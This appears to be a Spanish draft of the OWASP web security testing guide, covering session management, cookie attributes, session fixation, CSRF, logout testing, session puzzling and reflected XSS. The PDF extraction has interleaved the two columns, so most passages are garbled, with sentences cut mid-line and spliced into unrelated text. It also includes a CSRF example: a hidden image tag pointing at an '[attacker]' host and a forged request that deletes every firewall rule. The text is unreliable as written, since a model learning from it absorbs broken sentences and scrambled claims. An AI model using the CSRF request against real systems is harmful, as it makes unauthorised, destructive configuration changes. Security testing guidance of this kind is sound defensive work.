vulnerabilidad y los métodos de prueba para cada uno:
• OWASP Zed Attack Proxy (ZAP)
Las Referencias de Objetos Directos Inseguros permiten a los atacantes En este caso, el valor del parámetro de la factura se utiliza como un índice
omitir la autorización y acceder a los recursos modificando directamente en una tabla de facturas en la base de datos. La aplicación toma el valor de
Solicitud de muestra:
El valor de un parámetro se utiliza directamente para acceder a la
funcionalidad de la aplicación
http://foo.bar/changepassword?user=someuser
solicitud de muestra
http://foo.bar/accessPage?menuitem=12
Referencias
OWASP Top 10 2013-A4-Insecure Direct Object References atacante que es capaz de predecir y falsificar una cookie débil, fácilmente
puede secuestrar las sesiones de usuarios legítimos.
• Manipulación de cookies: falsificar una cookie válida para llevar a cabo el ataque. Navegue por la aplicación. Note cuándo se crean las cookies. Haga una
Este último paso podría requerir un gran número de intentos, dependiendo de cómo lista de las cookies recibidas, la página que las establece (con la directiva
la cookie haya sido creada (ataque de fuerza bruta de cookie). set-cookie), el dominio para el cual son válidas, su valor y sus
características.
Cómo probar
¿Qué eventos modificaron la cookie?
Prueba de Caja Negra y ejemplos
• ¿Son las cookies que se esperan sean transitorias configuradas como tal? Análisis de la sesión
• ¿ ué ajustes HTTP/1.1 Cache-Control se utilizan para proteger las cookies? Las fichas (tokens) de sesión (cookies, ID de la sesión o campo oculto)
deben ser examinadas para asegurar su calidad desde una perspectiva de
• ¿ ué ajustes HTTP/1.0 Cache-Control se utilizan para proteger las cookies? seguridad. Deben ser evaluadas según criterios como su aleatoriedad,
singularidad, resistencia al análisis estadístico y criptográfico y fuga de
información.
Colección de cookies
El primer paso requerido para manipular una cookie es entender cómo la Estructura de los indicadores y fuga de información
aplicación crea y gestiona las cookies. Para esta tarea, los evaluadores
tienen que intentar contestar las siguientes preguntas: La primera etapa es examinar la estructura y el contenido de un
Identificador de Sesión proporcionada por la aplicación. Un error común
es incluir datos específicos en el indicador, en lugar de emitir un valor
genérico y hacer referencia a datos reales en el lado del servidor.
• ¿Cuántas cookies son utilizadas por la aplicación?
Una vez identificado el tipo de ofuscación, es posible descifrar los datos • ¿ ué patrones obvios están presentes en el identificador de sesión como un
originales. En la mayoría de los casos, sin embargo, esto es improbable. todo o en porciones individuales?
De todas formas, puede ser útil enumerar la codificación en el sitio desde
el formato del mensaje. Además, si se deduce la técnica del formato y de
la ofuscación, podrían realizarse ataques de fuerza bruta automatizados.
Previsibilidad y aleatoriedad del identificador de sesión
El análisis de las zonas variables (si las hay) del identificador de sesión
Las fichas hibridas pueden incluir información como dirección IP o ID de deberían realizarse para establecer la existencia de cualquier patrón
usuario junto con una porción codificada, como los siguientes: reconocible o predecible. Estos análisis pueden ser realizados
manualmente y con herramientas diseñadas a la medida u OTS
estadísticas o de criptoanálisis para deducir cualquier patrón en el
owaspuser:192.168.100.1: contenido del identificador de sesión. Los controles manuales deberían
incluir comparaciones del identificador de sesión emitidas con las
a7656fafe94dae72b1e1487670148412 mismas condiciones del inicio de sesión; por ejemplo, el mismo nombre
de usuario, contraseña y dirección IP.
absoluto o relativo, deben ser investigados. Muchos sistemas utilizan al sesión). Para hacer una cookie impredecible, pueden utilizarse valores
tiempo como una semilla para sus elementos seudoaleatorios. aleatorios o criptografía.
[1] Imprevisibilidad: una cookie debe contener cierta cantidad de datos El tiempo registrado podría ser la hora local o la marca de tiempo del
dificiles de adivinar. Mientras más difícil sea falsificar una cookie válida, servidor incluido en la respuesta HTTP (o ambos).
más difícil será entrar en la sesión de un usuario legítimo. Si un atacante
puede adivinar la cookie utilizada en una sesión activa de un usuario
legítimo, podrán suplantar totalmente a ese usuario (secuestro de
Un identificador de sesión largo (o más bien uno con una gran cantidad
de varianza) y un período de validez más corto, haria mucho más difícil
Un ejemplo de una cookie estructurada fácil de ubicar es el siguiente: tener éxito en un ataque de fuerza bruta.
ID=5a0acfc7ffeb919:CR=1:TM=1120514521:LM=11205145
• ¿Cuánto tiempo tomaría un ataque de fuerza bruta en todos los posibles
21:S=j3am5KzC4v01ba3q identificadores de sesión?
Este ejemplo muestra cinco campos diferentes, que llevan diferentes • ¿El retraso entre los intentos de conexión con diferentes identificadores de
tipos de información: sesión mitigan el riesgo de este ataque?
ID – hexadecimal
Pruebas de Caja Gris
CR – entero pequeño
Si el evaluador tiene acceso al esquema de gestión de sesión de la
TM y LM – entero grande ( y curiosamente tienen el mismo valor. aplicación, puede comprobar lo siguiente:
Vale la pena ver lo que ocurre al modificar uno de ellos).
S – alfanumérico
• Sesión con una ficha al azar
El identificador de sesión debe tener una longitud de al menos 50 • Darrin Barrall: “Automated Cookie Analysis”: rmccurdy.com
caracteres.
• ENT: fourmilab.ch
• seclists.org
• Duración de la sesión
• Gunter Ollmann: “Web Based Session Management” - technicalinfo.net
La ficha de sesión debe tener una duración definida (que depende de la
criticidad de los datos de la aplicación administrada). • Matteo Meucci:”MMS Spoofing”: owasp.org
• HTTPOnly (no legible mediante un script): Descripción de las vulnerabilidades en la gestión de sesión
Set Cookie: cookie=data; path=/; domain=.aaa.it; HTTPOnly Vea los artículos sobre vulnerabilidades en la gestión de la sesión OWASP.
Mas información aquí: Probando los atributos de las cookies Descripción de las defensas de la gestión de sesión
Herramientas
• OWASP Zed Attack Proxy Project (ZAP): owasp.org - features a session Cómo evitar las vulnerabilidades de la gestión de sesión
token analysis mechanism.
Vea los artículos sobre cómo evitar las vulnerabilidades de la gestión de
• Burp Sequencer: portswigger.net sesión de OWASP.
• YEHG’s JHijack: owasp.org Cómo revisar el código en busca de vulnerabilidades en la gestión de sesión
Libros Blancos
Pruebas de los atributos de las cookies (OTG-SESS-002)
• RFC 2965 “HTTP State Management Mechanism”
Resumen
• RFC 1750 “Randomness Recommendations for Security”
Las cookies son a menudo un vector de ataque clave para usuarios
• Michal Zalewski: “Strange Attractors and TCP/IP Sequence Number maliciosos (normalmente dirigidas hacia otros usuarios) y la aplicación
Analysis” (2001): lcamtuf.coredump.cx siempre debe tomar las debidas diligencias para proteger las cookies. Esta
sección examina cómo una aplicación puede tomar las precauciones
• Michal Zalewski: “Strange Attractors and TCP/IP Sequence Number necesarias al asignar las cookies y cómo se prueba que estos atributos se
Analysis - One Year Later” (2002): lcamtuf.coredump.cx han configurado correctamente.
• Dominio - este atributo se utiliza para comparar contra el dominio del servidor
en el que se solicita la dirección URL. Si el dominio coincide o si es un
Mientras un usuario añade varios elementos a un carro de compras, estos subdominio, entonces el atributo de ruta de acceso se comprobará a
datos deben conservarse en las solicitudes posteriores a la aplicación. Las continuación.
cookies son muy utilizadas para esta tarea y son configuradas por la
aplicación utilizando la directiva Set-Cookie en la respuesta HTTP de la
aplicación y está generalmente en un formato name=value (si las cookies
Note que sólo los hosts dentro del dominio especificado pueden
se encuentran activadas y si son compatibles, como es el caso para todos
establecer una cookie para ese dominio. También note que el atributo del
los navegadores modernos). Una vez que una aplicación le ha dicho al
dominio no puede ser un dominio de nivel superior (como .gov o .com)
navegador que utilice una cookie determinada, el navegador enviará esta
para evitar que los servidores configuren arbitrariamente cookies para
cookie en cada solicitud subsiguiente. Una cookie puede contener datos
otro dominio. Si no se establece el atributo de dominio, el nombre del
tales como los elementos de un carro de compras en línea, el precio de
servidor host que genera la cookie se utiliza como el valor por defecto del
estos artículos, la cantidad de estos artículos, información personal,
dominio.
identificador de usuarios, etc.
ligeramente (por ejemplo midominio.com), entonces el servidor permitiría a un atacante utilizar un servidor vulnerable en el dominio para
vulnerable podría ser utilizado para cosechar las cookies (como las fichas cosechar la cookie del usuario a través de una vulnerabilidad como XSS.
de sesión).
• Atributo de Ruta - Verifique que el atributo de ruta, así como el atributo del
dominio, no han sido establecidos muy libremente. Incluso si el atributo del
dominio ha sido configurado tan firmemente como es posible, si la ruta de
• Ruta (path) - Además del dominio, la ruta de la URL en la que la cookie es acceso se establece hacia el directorio raíz "/" entonces puede ser vulnerable a
válida puede especificarse. Si coincide el dominio y la ruta, la cookie se aplicaciones menos seguras en el mismo servidor. Por ejemplo, si la aplicación
enviará en la solicitud. Al igual que con el atributo de dominio, si se reside en /myapp/, compruebe que la ruta de cookies está ajustada a
establece el atributo de ruta de acceso muy ligeramente, entonces podría ";path=/myapp/" y no a ";path =/" o ";path =/myapp". Note aquí que el ruteador
dejar a la aplicación vulnerable a los ataques de otras aplicaciones en el "/" debe ser utilizado después de myapp. Si no se utiliza, el navegador enviará la
mismo servidor. cookie a cualquier ruta que coincida con "myapp", tal como "myapp-exploited".
Por ejemplo, si el atributo de la ruta de acceso se establece en la raíz del • Atributo de Caducidad - Si este atributo se establece en un momento en el
servidor web "/", entonces se enviarán las cookies de la aplicación para cada futuro, verifique que la cookie no contenga ninguna información sensible. Por
aplicación dentro del mismo dominio. ejemplo, si una cookie se establece en “; expires=Sun, 31-Jul-2016 13:45:29
GMT” y actualmente es 31 de julio de 2014, entonces el evaluador debe
• caduca (expires) - este atributo se utiliza para configurar cookies inspeccionar la cookie. Si la cookie es una ficha de sesión que se almacena en el
persistentes, puesto que la cookie no caduca hasta que se supera la fecha disco duro del usuario, entonces un atacante o un usuario local (como un
establecida. Esta cookie persistente se utilizará en esta sesión y en sesiones administrador) que tiene acceso a esta cookie puede acceder a la aplicación
posteriores hasta que la cookie caduque. Una vez que ha superado la fecha reenviando esta ficha hasta que pase la fecha de caducidad.
de caducidad, el navegador borrará la cookie. Alternativamente, si no se
establece este atributo, entonces la cookie sólo es válida en la sesión actual
del navegador y la cookie se eliminará cuando finalice la sesión.
Herramientas
Intercepting Proxy:
Cómo probar
• OWASP Zed Attack Proxy Project
Prueba de Caja Negra
• Atributo seguro - cada vez que una cookie contiene información sensible o es
una ficha de sesión, siempre debe ser pasada mediante un túnel encriptado. Por Referencias
ejemplo, después de iniciar la sesión en una aplicación y haber establecido una
Libros Blancos
ficha de sesión mediante una cookie, verifique si está etiquetada con una bandera
de "seguridad";. Si no es así, entonces el navegador estará de acuerdo en pasar a
• RFC 2965 - HTTP State Management Mechanism: tools.ietf.org
través de un canal sin encriptar, usando HTTP, y esto podría permitir a un
atacante dirigir a los usuarios a enviar sus cookies por un canal inseguro.
• RFC 2616 - Hypertext Transfer Protocol - HTTP 1.1: tools.ietf.org
• Atributo HttpOnly - Este atributo debería fijarse siempre, a pesar de que no
• The important “expires” attribute of Set-Cookie
todos los navegadores lo soportan. Este atributo ayuda a proteger la cookie del
http://seckb.yehg.net/2012/02/important-expires-attribute-of-set.html
acceso de un script del lado del cliente, no elimina el riesgo de scripts de sitios
cruzados, pero elimina algunos vectores de explotación. Verifique si la etiqueta
• HttpOnly Session ID in URL and Page Body
"HttpOnly" ha sido fijada.
http://seckb.yehg.net/2012/06/httponly-session-id-in-url-and-page.html
Set-Cookie: JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1;
Path=/; secure
Las vulnerabilidades de fijación de sesión ocurren cuando:
Cache-Control: no-cache=”set-cookie,set-cookie2”
Cómo probar
GET www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.16) Server: Apache/2.2.2 (Fedora)
Gecko/20080702 Firefox/2.0.0.16
X-Powered-By: PHP/5.1.6
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain; Content-language: en
q=0.8,image/png,*/*;q=0.5
Cache-Control: private, must-revalidate, max-age=0
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
X-Content-Encoding: gzip
Accept-Encoding: gzip,deflate
Content-length: 4090
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: close
Keep-Alive: 300
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
...
Referer: http://www.example.com
HTML data
Cookie: JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1
Content-Type: application/x-www-form-urlencoded
Como ninguna cookie nueva ha sido emitida tras una autenticación
Content-length: 57
exitosa, el evaluador sabe que es posible realizar un secuestro de sesión.
Name=Meucci&wpPassword=secret!&wpLoginattempt=Log+in
Resultado esperado: El evaluador puede enviar un identificador de sesión
válido a un usuario (posiblemente usando un truco de ingeniería social),
esperar a que él se autentique y verificar posteriormente que los
privilegios han sido asignados a esta cookie.
El evaluador observa la siguiente respuesta del servidor:
Herramientas
Resultado esperado:
• Protocol used (e.g., HTTP vs. HTTPS) Cada vez que la autenticación es exitosa, el usuario debe esperar recibir:
• HTTP Headers
• Message Body (e.g., POST or page content) • Una ficha de sesión diferente
• Una ficha enviada a traves de un canal encriptado cada vez que se hace una
solicitud HTTP
Cada vez que los datos del identificador de sesión pasan entre el cliente y
el servidor, el protocolo, caché, las directivas y cuerpo de privacidad
deben ser revisadas. La seguridad del transporte se refiere a la
Para probar las vulnerabilidades de proxys y caché
circulación del identificador de sesión por peticiones GET o POST, cuerpo
de los mensajes u otros medios, mediante solicitudes HTTP válidas.
Los proxys también debe considerarse al revisar la seguridad de las
aplicaciones. En muchos casos, los clientes accederán a la aplicación a
través del ISPcorporativo y los proxies o gateways conscientes del
Cómo probar protocolo, (por ejemplo, Firewalls). El protocolo HTTP proporciona
Todo código del lado del servidor que recibe datos de solicitudes POST
En general, el identificador de sesión nunca debe ser enviado mediante debe ser analizado para asegurarse que no acepte los datos si se envía
un transporte no encriptado y no debe almacenarse en caché. La como una solicitud GET. Por ejemplo, considere la siguiente petición
aplicación debe ser examinada para asegurarse que las comunicaciones POST, generada por una página de registro.
encriptadas sean tanto la norma como el que sean reforzadas para
cualquier transferencia de identificadores de sesión. Además, cada vez
POST https://owaspapp.com/login.asp HTTP/1.1
que se pasa el identificador de sesión, las directivas deben estar colocadas
para evitar su almacenamiento en caché por cachés intermedios e incluso
Host: owaspapp.com
locales.
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.2)
Gecko/20030208 Netscape/7.02 Paros/3.0.2b
La aplicación debe configurarse también para asegurar los datos en Accept: */*
caché, tanto en HTTP/1.0 y HTTP/1.1 – RFC 2616 discute los controles
adecuados en cuanto a HTTP. HTTP/1.1 proporcionando una serie de Accept-Language: en-us, en
mecanismos de control de caché. Control-Cache: no-cache indica que un
proxy no debe volver a utilizar los datos. Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66
Keep-Alive: 300
Whilst Cache-Control: Private parece ser una directiva adecuada. Esto Cookie: ASPSESSIONIDABCDEFG=ASKLJDLKJRELKHJG
permite a un proxy no compartido acceder a los datos del caché. En el
caso de café net u otros sistemas compartidos, esto presenta un riesgo Cache-Control: max-age=0
evidente. Incluso con estaciones de trabajo monousuario, el identificador
de sesión almacenada en caché puede quedar expuesto si el sistema de Content-Type: application/x-www-form-urlencoded
archivos se encuentra comprometido o si se utilizan cadenas de tiendas.
Los Cachés de HTTP/1.0 no reconocen la directiva de Cache-Control: no- Content-Length: 34
cache.
Login=Username&password=Password&SessionID=12345678
Resultado esperado:
• ¿Cómo se transfieren los identificadores de sesión, por ejemplo, GET, [3] La gestión de sesión de la aplicación basada únicamente en la
POST, Form Field(incluyendo campos ocultos)? información que es conocida por el navegador;
• ¿Son los identificadores de sesión enviados siempre a través de [4] La existencia de etiquetas HTML cuya presencia permite un acceso
transporte encriptado por defecto? inmediato a un recurso http[s]; por ejemplo, la etiqueta de imagen img.
• RFC 2616 - Hypertext Transfer Protocol - HTTP/1.1: ietf.org Punto 2) Si la aplicación no hace uso de la información relacionada con la
sesión en las URL, entonces significa que las URL de la aplicación, sus
parámetros y valores legítimos pueden identificarse (ya sea por el
análisis de código o accediendo a la aplicación y tomando nota de los
Pruebas de un CSRF (OTG-SESS-005)
formularios y direcciones URL incrustadas en el HTML/JavaScript).
Resumen
<html><body>
...
...
• por el usuario, que está utilizando la aplicación web misma;
conocida por el atacante y, por lo tanto, sea imposible la identificación de configuración si el usuario introduce '*' (una característica peligrosa,
esas URL. pero que hará que el ejemplo sea más interesante). La página de
eliminación se muestra a continuación. Supongamos que el formulario –
por simplicidad – emite una solicitud GET, que tendrá la forma:
Las cosas pueden ofuscarse más mediante la referencia de la imagen (para eliminar la regla número uno)
aparentemente válida de la URL como:
https://[target]/fwmgt/delete?rule=*
<img src=”https://[attacker]/picture.gif” width=”0” height=”0”>
Escenario de ejemplo
con el efecto de eliminar todas las reglas del firewall (y terminar en una
situación posiblemente inconveniente).
Cómo probar
Para una prueba de Caja Negra, el evaluador debe conocer las direcciones
URL en el área restringida (autenticada). Si poseen credenciales válidas,
pueden asumir ambos roles – el de agresor y el de víctima. En este caso,
los evaluadores saben las URL a probar solo con hojear alrededor de la
aplicación.
• Construya una página html que contenga la solicitud http que hace referencia
a la URL 'u' (especificando todos los parámetros relevantes; en el caso de una
En todos estos casos, si el usuario tiene iniciada una sesión en la
solicitud http GET esto es directo, mientras que para una solicitud POST
aplicación de administración del firewall, la petición tendrá éxito y
necesita recurrir a algunos Javascript);
modificará la configuración del firewall. Uno puede imaginar los ataques
contra aplicaciones sensibles y lograr hacer pujas u ofertas en subastas • Asegúrese de que el usuario se encuentra registrado en la aplicación;
automáticas, transferencias de dinero, órdenes, cambiar la configuración
de componentes de software crítico, etc. • Induzca al usuario a seguir el enlace apuntando a la URL a probar (involucre
ingeniería social si usted no puede suplantar al usuario);
Los recursos accesibles a través de peticiones HTTP GET son fácilmente • No utilice el mismo navegador para acceder a aplicaciones sensibles y
vulnerables, aunque las peticiones POST se pueden automatizar vía para navegar libremente por Internet. Si es necesario, haga ambas cosas
Javascript y son vulnerables también, por lo tanto, el uso exclusivo de en la misma máquina y con distintos navegadores.
solicitudes POST no es suficiente para corregir la aparición de
vulnerabilidades CSRF.
Referencias
Otras defensas, mientras no resuelvan el problema, contribuyen a hacer
Libros Blancos
más difícil la explotación:
Vea la guía de revisión de código de OWASP sobre cómo Revisar las A los usuarios de navegadores web a menudo no les importa que una
vulnerabilidades CSRF. aplicación está todavía abierta y simplemente cierran el navegador o la
pestaña. Una aplicación web debe considerar este comportamiento y
terminar la sesión automáticamente del lado del servidor después de un
tiempo definido.
Cómo prevenir vulnerabilidades CSRF
Resumen
El cierre de sesión es una parte importante del ciclo de vida de la sesión. Navegar de vuelta hacia el portal SSO ofrece al usuario la posibilidad de
Reducir al mínimo la vida útil de las fichas de sesión disminuye la volver a iniciar una sesión en la aplicación donde la sesión fue terminada
probabilidad de un ataque de secuestro de sesión exitoso. Esto puede poco antes. Por otro lado, una función de registro en un sistema SSO no
verse como un control contra la prevención de otros ataques como el necesariamente causa el cierre de sesión en las aplicaciones
Cross Site Scripting (CSS) o Cross Site Request Forgery (CSRF). Se conoce interconectadas.
que este tipo de ataques dependen de que un usuario tenga una sesión
autenticada en ese momento. No tener una terminación de sesión segura
sólo aumenta la superficie de ataque para cualquiera de estos ataques.
Cómo probar
Hay múltiples cuestiones que pueden prevenir la terminación eficaz de • Un botón de cierre de sesión está presente en todas las páginas de la
una sesión. Para la seguridad ideal de la aplicación web, un usuario debe aplicación web.
ser capaz de terminar en cualquier momento a través de la interfaz de
usuario. Cada página debe contener un botón de cierre de sesión en un • El botón de cierre de sesión debe ser rápidamente identificable por un
lugar directamente visible. Las funciones de cierre de sesión confusas o usuario que quiere desconectarse de la aplicación web.
ambiguas podrían causar desconfianza en el usuario sobre dicha
funcionalidad. • Después de cargar una página, el botón de cierre de sesión debe ser visible
sin desplazamiento.
Otro error común en la terminación de la sesión es que en la ficha de
sesión del cliente se establece un nuevo valor, mientras que en el estado • Idealmente, el botón de cierre de sesión debe ubicarse en una zona fija
del servidor permanece activa y puede ser reutilizada restableciendo la dentro de la pantalla visible del navegador y no debe verse afectada por el
cookie de sesión al valor anterior. A veces sólo se muestra un mensaje de desplazamiento del contenido.
confirmación al usuario sin que tenga que realizar ninguna acción
adicional. Esto debe evitarse.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org
144
Guia de pruebas 4.0 "Borrador"
Para probar el cierre de sesión desde el servidor: El valor apropiado para el tiempo de caducidad de la sesión depende del
propósito de la aplicación y debe ser un equilibrio entre seguridad y
Primeramente, almacene los valores de las cookies que se utilizan para usabilidad. En las aplicaciones bancarias, no tiene sentido mantener una
identificar una sesión. Invoque la función de cierre de sesión del usuario y sesión inactiva más de quince minutos. Por otro lado, un tiempo corto de
observe el comportamiento de la aplicación, especialmente en relación espera en un wiki o un foro podría molestar a los usuarios que están
con las cookies de sesión. Intente navegar hacia una página que sólo es escribiendo artículos largos con solicitudes de registro innecesarias. Allí,
visible dentro de una sesión autenticada, por ejemplo, el uso del botón de los tiempos de espera de una hora o más pueden ser aceptables.
regresar del navegador.
Si estas pruebas no muestran vulnerabilidades en alguna página en Compruebe si la aplicación solicita al usuario su autenticación; si solicita
particular, pruebe al menos algunas páginas más de la aplicación que se una dirección URL de un punto de entrada a la aplicación. Habiendo
consideran críticas para la seguridad, para garantizar que la terminación iniciado una sesión en la aplicación probada, realice un cierre de sesión
de la sesión es reconocida correctamente por estas áreas de la aplicación. en el sistema SSO. Intente acceder a un área autenticada de la aplicación
probada.
Resultado esperado:
Resultado esperado:
Ningún dato que debería ser visible únicamente por usuarios
autenticados debe ser visibles en las páginas examinadas al realizar las Se espera que la invocación de una función de cierre de sesión en una
pruebas. Idealmente, la aplicación debe redirigirse a una zona pública o a aplicación web conectada a un sistema SSO, o en el mismo sistema SSO,
un formulario de registro al acceder a áreas autenticadas después del cause el cierre global de todas las sesiones. Una autenticación del usuario
cierre de la sesión. No debería ser necesario para la seguridad de la debería ser necesaria para acceder a la aplicación después del cierre de la
aplicación, pero establecer nuevos valores para las cookies de sesión sesión en el sistema SSO y la aplicación conectada.
después de desconectarse es considerado como una buena práctica.
Herramientas
Pruebas de tiempo de caducidad de sesión:
• “Burp Suite - Repeater”: portswigger.net
Determine un tiempo de caducidad de sesión realizando solicitudes a una
página en el área de autenticación de la aplicación web con incremento de
los intervalos de tiempo. Si aparece un comportamiento de cierre de
sesión, el intervalo de tiempo usado coincide aproximadamente con el Referencias
valor del tiempo de caducidad de la sesión.
Libros Blancos
Un cierre de sesión causado por inactividad dentro de un tiempo de • “Cookie replay attacks in ASP.NET when using forms authentication”:
caducidad debe tener los mismos resultados descritos anteriormente
vanstechelman.eu
para la prueba de terminación de sesión de servidor.
Resumen invalida la sesión del usuario actual y borra todos los datos almacenados
en el cliente.
En esta fase, los evaluadores comprueban que la aplicación cierra
automáticamente la sesión cuando un usuario ha permanecido inactivo
durante un cierto periodo de tiempo, asegurando que no se pueda
"reutilizar" la misma sesión y que ningún dato sensible permanezca Ambas acciones deben implementarse cuidadosamente, con el fin de
almacenado en la caché del navegador. evitar introducir debilidades que podrían ser aprovechadas por un
atacante para obtener acceso no autorizado si el usuario olvidó cerrar la
sesión desde la aplicación. Más específicamente, en cuanto a la función de
cierre de sesión, es importante asegurarse de que todas las fichas de
Todas las aplicaciones deben implementar un tiempo de cierre de sesión sesión (por ejemplo las cookies) sean destruidas o queden inservibles, y
por inactividad. Este tiempo de cierre define el período que una sesión se que se apliquen controles adecuados desde el lado del servidor para
mantendrá activa en caso de que no haya actividad por parte del usuario., evitar la reutilización de las fichas de sesión. Si estas acciones no se llevan
Cierre e invalide la sesión una vez excedido el período de inactividad a cabo correctamente, un atacante podría reproducir estas fichas de
definida desde la última petición HTTP recibida por la aplicación web sesión para "resucitar" la sesión de un usuario legítimo y hacerse pasar
para un determinado identificador de sesión. El tiempo de cierre más por él o ella (este ataque es generalmente conocido como 'cookie replay').
adecuado debe ser un equilibrio entre la seguridad (menor tiempo de Por supuesto, un factor atenuante es que el atacante debe ser capaz de
espera) y usabilidad (mayor tiempo de espera), y mucho depende del acceder a las fichas (que se almacenan en el navegador de la víctima),
nivel de sensibilidad de los datos manejados por la aplicación. pero, en varios casos, esto puede no ser particularmente difícil o
imposible.
Si la cookie contiene algún dato relacionado con el tiempo (por ejemplo, la Pruebas del Session puzzling (OTG-SESS-008)
hora de registro, o la última hora de acceso o la fecha de caducidad de una
cookie persistente), entonces es posible que el cliente tenga una Resumen
participación en el tiempo de cierre. En este caso, los evaluadores podrían
tratar de modificar la cookie (si no está criptograficamente protegida) y La sobrecarga de variables de sesión (también conocida como Session
ver qué pasa con la sesión. Por ejemplo, los evaluadores pueden Puzzling) es una vulnerabilidad al nivel de la aplicación que permite a un
establecer la fecha de caducidad de la cookie en un futuro lejano y ver si atacante realizar una variedad de acciones maliciosas que incluyen, pero
se puede prolongar el período de sesiones. no se limitan a:
Como regla general, debe comprobarse todo del lado del servidor y no • Esquivar los mecanismos de autenticación de la aplicación y hacerse pasar
debe ser posible, mediante la reconfiguración de las cookies de sesión a por usuarios legítimos.
los valores anteriores, acceder a la aplicación otra vez.
• Elevar los privilegios de una cuenta de usuario maliciosa, en un entorno que,
de lo contrario, sería considerado infalible.
Pruebas de Caja Gris • Saltarse las fases de calificación en los procesos de fases múltiples, incluso
si el proceso incluye todas las restricciones a nivel de código comúnmente
El evaluador debe verificar que: recomendadas.
• Manipular los valores del lado del servidor de forma indirecta para que no
puedan ser predichos o detectados.
• La función de cierre de sesión destruye eficazmente todas las fichas de
sesión, o por lo menos las inhabilita. • Ejecutar ataques tradicionales en lugares previamente inaccesibles, o incluso
que se consideran seguros.
• El servidor realiza los controles adecuados en el estado de la sesión,
impidiendo al atacante reproducir identificadores de sesión previamente
destruidos.
Esta vulnerabilidad se produce cuando una aplicación utiliza la misma
• El tiempo de cierre es establecido correctamente por el servidor. Si el variable de sesión para más de un propósito. Potencialmente un atacante
servidor utiliza un tiempo de expiración que se lee de una ficha de sesión que puede acceder a páginas en un orden no previsible por parte de los
es enviada por el cliente (aunque esto no es recomendable), entonces la ficha desarrolladores para que la variable de sesión se configure en un
debe estar criptográficamente protegida contra la manipulación. contexto y luego se utilice en otro.
Tome en cuenta que lo más importante es que la aplicación invalide la Por ejemplo, un atacante puede utilizar la sobrecarga de variables de
sesión en el servidor. Generalmente esto significa que el código debe sesión para eludir los mecanismos de autenticación de la aplicación, que
invocar los métodos apropiados, por ejemplo, HttpSession.invalidate() en garantizan la autenticación mediante la validación de la existencia de
Java y Session.abandon() en .NET. variables de sesión que contengan valores relacionados con la identidad,
que normalmente se almacenan en la sesión después de un proceso de
autenticación exitoso. Esto significa que, primero, un atacante tiene
acceso a una ubicación en la aplicación que establece el contexto de la
Borrar las cookies en el navegador es recomendable, pero no es sesión y, luego, accede a lugares privilegiados que examinan este
estrictamente necesario, ya que si bien se invalida la sesión en el servidor, contexto.
tener la cookie en el navegador no ayudará a un atacante.
Cómo probar
Documento Pre-release cortesía de Fernando Vela para drangonjar.org
147
Guia de pruebas 4.0 "Borrador"
Prueba de Caja Negra scripting, inyección SQL, inyección de intérprete, ataques ataques
locale/Unicode, ataques al sistema de archivo y desbordamiento de búfer.
Esta vulnerabilidad puede ser detectada y explotada enumerando todas
las variables de sesión que utiliza la aplicación y elcontexto en el que son
válidas. En particular, esto es posible accediendo a una secuencia de
puntos de entrada y luego examinando los puntos de salida. En el caso de Nunca se debe confiar en los datos de una entidad externa o del cliente, ya
las pruebas de caja negra, este procedimiento es difícil y requiere algo de que pueden ser arbitrariamente adulterados por un atacante. "Todas las
suerte ya que cada secuencia diferente podría llevar a un resultado entradas son malignas", dice Michael Howard en su famoso libro "Writing
diferente. Secure Code" (Escribiendo Código Seguro). Esta es la regla número uno.
Lamentablemente, las aplicaciones más complejas a menudo tienen un
gran número de puntos de entrada, lo que hace difícil para que un
desarrollador haga cumplir esta regla. Este capítulo describe las pruebas
Ejemplos de validación de datos. Esta es la tarea de probar todas las formas
posibles de entrada para comprender si la aplicación valida lo suficiente
Un ejemplo muy simple podría ser la funcionalidad de restablecimiento el ingreso de datos antes de usarlos.
de contraseña que, en el punto de entrada, puede solicitar al usuario que
proporcione cierta información de identificación que podría ser el
nombre del usuario o la dirección de correo electrónico. Esta página
podría rellenar, entonces, la sesión con estos valores de identificación que Pruebas de la reflexión del Cross site scripting (OTG-INPVAL-001)
son recibidos directamente del lado del cliente u obtenidos de consultas o
cálculos basados en la información de entrada recibida. En este punto Resumen
pueden haber algunas páginas en la aplicación donde se muestran datos
privados basados en este objeto de sesión. De esta manera el atacante La reflexión del Cross-site Scripting (XSS) ocurre cuando un atacante
podría eludir el proceso de autenticación. inyecta un código ejecutable en el navegador, dentro de una sola
respuesta HTTP. El ataque inyectado no se almacena dentro de la
aplicación, es no-persistente y sólo afecta a los usuarios que abren una
página web de terceros o un vínculo diseñado con mala intención. La
Pruebas de Caja Gris cadena de ataque se incluye como parte del diseño de los parámetros URL
o HTTP, que se procesan incorrectamente por la aplicación y se
La forma más efectiva para detectar estas vulnerabilidades es a través de devuelven a la víctima.
una revisión del código fuente.
Las reflexiones de XSS son los tipos de ataque XSS más frecuentes
Referencias encontrados en la naturaleza. Los ataques de reflexión XSS también son
conocidos como ataques XSS no persistentes y, puesto que la carga de
Libros Blancos ataque es entregada y ejecutada mediante una sola solicitud y respuesta,
también se les conoce como XSS de primer orden o tipo 1.
• Session Puzzles: puzzlemall.googlecode.com
Pruebas de validación de entradas Comúnmente, el código del intruso es escrito en el lenguaje Javascript,
pero también se utilizan otros lenguajes, por ejemplo, ActionScript y
La debilidad de seguridad de las aplicaciones web más común es el no VBScript. Los atacantes suelen aprovechar estas vulnerabilidades para
poder validar correctamente los datos de entrada que vienen del cliente o instalar registradores de claves, robar las cookies de la víctima, realizar
del medio ambiente antes de usarlo. Esta debilidad conduce a casi todas robos del portapapeles y cambiar el contenido de la página (por ejemplo,
las vulnerabilidades principales en aplicaciones web, tales como cross site enlaces de descarga).
Una de las principales dificultades en la prevención de vulnerabilidades [3] Para cada prueba de entrada intentada en la fase anterior, el
XSS es la correcta codificación de caracteres. En algunos casos, el servidor evaluador analiza el resultado y determina si representa una
web o la aplicación web podrían no estar filtrando algunas codificaciones vulnerabilidad que tiene un impacto realista en materia de seguridad de
